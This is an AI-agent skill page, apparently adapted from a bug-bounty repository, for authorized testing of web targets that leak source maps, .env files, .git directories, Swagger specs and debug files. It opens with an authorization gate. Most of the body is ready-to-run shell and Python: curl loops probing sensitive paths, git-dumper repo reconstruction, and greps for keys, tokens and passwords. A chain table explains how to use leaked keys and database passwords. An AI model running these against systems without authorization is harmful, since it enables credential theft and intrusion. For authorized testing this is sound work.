技能 编程开发 源码泄露猎取

源码泄露猎取

v20260927
hunt-source-leak
授权安全测试技能,用于排查 Web 目标泄露的 source map、.env 文件、.git 目录及 Swagger/OpenAPI 文档,从中发现有价值信息,如明文密钥、内部接口与鉴权逻辑缺陷。
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⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage

Crown Jewel Targets

Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.

Highest-value findings:

  • .js.map source maps — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
  • swagger.json / openapi.json — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names
  • .env / .env.production — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext
  • .git/ exposure — git clone the entire source history → all past hardcoded secrets
  • asset-manifest.json / _next/static/ — all JS bundle paths → systematic source map discovery
  • build-info / info.json — git commit hash, build timestamp, dependency versions → CVE targeting

Phase 1 — Quick Wins (Run First)

# These 10 requests take <30 seconds and often yield Critical findings
for PATH in \
  "/.env" \
  "/.env.production" \
  "/.env.local" \
  "/.git/HEAD" \
  "/swagger.json" \
  "/api/swagger.json" \
  "/v1/swagger.json" \
  "/openapi.json" \
  "/api/openapi.json" \
  "/api-docs"; do
  STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] HIT: https://$TARGET$PATH"
    head -5 /tmp/sl_test
    echo "---"
  fi
done

Phase 2 — Source Map Discovery

Always resolve the CURRENT build hash before testing, and again before re-verifying. Bundle filenames are content-hashed, so they rotate on every deploy. A .map URL recorded yesterday can 404 today while the map is still fully exposed under a new name. A 404 at the old URL is not remediation — it is a new build.

# ALWAYS derive the hash live, never reuse a recorded URL
HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)
curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
  "https://$TARGET/static/js/${HASH}.map"

Lesson from an authorized engagement. A large production map was found at main.<hashA>.js.map. On re-verification that URL returned a small HTML soft-404 and the finding was nearly closed as fixed. The bundle had rotated to main.<hashB>.js — and the map was still published at main.<hashB>.js.map, same size. Nothing had been remediated.

Tell the client this explicitly in the report: redeploying does not fix source map exposure. Only GENERATE_SOURCEMAP=false (or stripping .map at deploy) plus a CDN purge closes it. A team that redeploys and re-checks the old link will wrongly declare victory.

Same rule applies to any content-hashed artifact: chunk files, CSS maps, asset-manifest.json, and staging equivalents.

# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3

# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5

# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
  LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
  echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done

# Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
    if content:
        path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
        os.makedirs(os.path.dirname(path), exist_ok=True)
        with open(path, 'w') as f:
            f.write(content)
        print(f'[+] Extracted: {src}')
"

# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20

Phase 3 — Swagger / OpenAPI Discovery

# Common paths
SWAGGER_PATHS=(
  "/swagger.json" "/swagger.yaml" "/swagger/"
  "/api/swagger.json" "/api/swagger.yaml"
  "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
  "/openapi.json" "/openapi.yaml"
  "/api/openapi.json" "/api-docs" "/api-docs.json"
  "/api/v1/swagger.json" "/api/v2/swagger.json"
  "/rest/swagger.json" "/rest/api-docs"
  "/.well-known/openapi.json"
  "/graphql/schema.json"
)

for PATH in "${SWAGGER_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH"
    # Extract all API paths from swagger
    python3 -c "
import sys, json
try:
    d = json.load(open('/tmp/swagger_test'))
    paths = list(d.get('paths', {}).keys())
    print(f'Endpoints: {len(paths)}')
    print('\n'.join(sorted(paths)))
except: pass
" | head -50
  fi
done

Phase 4 — .git Exposure

# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"

# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/

# Grep for secrets in all git history
cd /tmp/dumped-repo && \
  git log --all --oneline 2>/dev/null | head -20
  git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30

# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50

Phase 5 — Forgotten Files & Debug Endpoints

# Build artifacts and debug files
DEBUG_PATHS=(
  "/build-info.json" "/build/build-info.json"
  "/info" "/actuator/info" "/api/info"
  "/version" "/api/version" "/_version"
  "/health" "/status" "/ping"
  "/robots.txt" "/security.txt" "/.well-known/security.txt"
  "/sitemap.xml" "/manifest.json" "/browserconfig.xml"
  "/crossdomain.xml" "/clientaccesspolicy.xml"
  "/phpinfo.php" "/info.php" "/test.php"
  "/server-status" "/server-info" "/.htaccess"
  "/web.config" "/applicationHost.config"
  "/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
  "/package.json" "/composer.json" "/Gemfile"
  "/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)

for PATH in "${DEBUG_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
    head -3 /tmp/debug_test
    echo "---"
  fi
done

Phase 6 — .DS_Store File Listing

# .DS_Store files on macOS-deployed web servers reveal directory structure
curl -s "https://$TARGET/.DS_Store" | xxd | head -10

# Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
    for entry in d:
        print(entry.filename)
"

# Recursive .DS_Store enumeration
# Tool: https://github.com/lijiejie/ds_store_exp
python3 ds_store_exp.py "https://$TARGET/"

Phase 7 — webpack Chunk Analysis

# Download and analyze webpack chunks for hardcoded values
# Find chunk files
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
  echo "Analyzing: $chunk"
  curl -s "https://$TARGET$chunk" | \
    grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done

# Also grep for internal hostnames
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u

# Check for Base64-encoded secrets
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
  DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
  echo "$DECODED" | grep -iE "key|secret|password|token" && echo "  B64: $b64"
done

Chain Table

Source leak finding Chain to Impact
Source map with API key Use key directly → API access High/Critical
Source map with auth logic Find auth bypass route Critical
Swagger → internal endpoints Test undocumented admin routes High
.git exposed Full source history → all past secrets Critical
build-info with git hash CVE targeting exact version High
.env with DB_PASSWORD Direct database access Critical

Tools

# git-dumper (reconstruct exposed .git)
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/

# sourcemap-explorer (visualize what's in bundles)
npm install -g source-map-explorer
source-map-explorer main.js

# unwebpack-sourcemap (extract all source files)
npm install -g unwebpack-sourcemap

# trufflehog (secret scanning)
trufflehog filesystem /tmp/repo/

Validation

✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets ✅ Swagger: JSON contains internal endpoints not visible in UI ✅ .git exposed: git-dumper successfully clones repo, secrets in history ✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext

Severity:

  • .env with credentials: Critical
  • .git with secrets in history: Critical
  • Source map with secrets: High
  • Swagger with internal routes: Medium-High
  • robots.txt only: Informational

When to Use

  • You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
  • You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

  • Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
  • Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
  • Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

信息
Category 编程开发
Name hunt-source-leak
版本 v20260927
大小 12.36KB
更新时间 2026-09-28
语言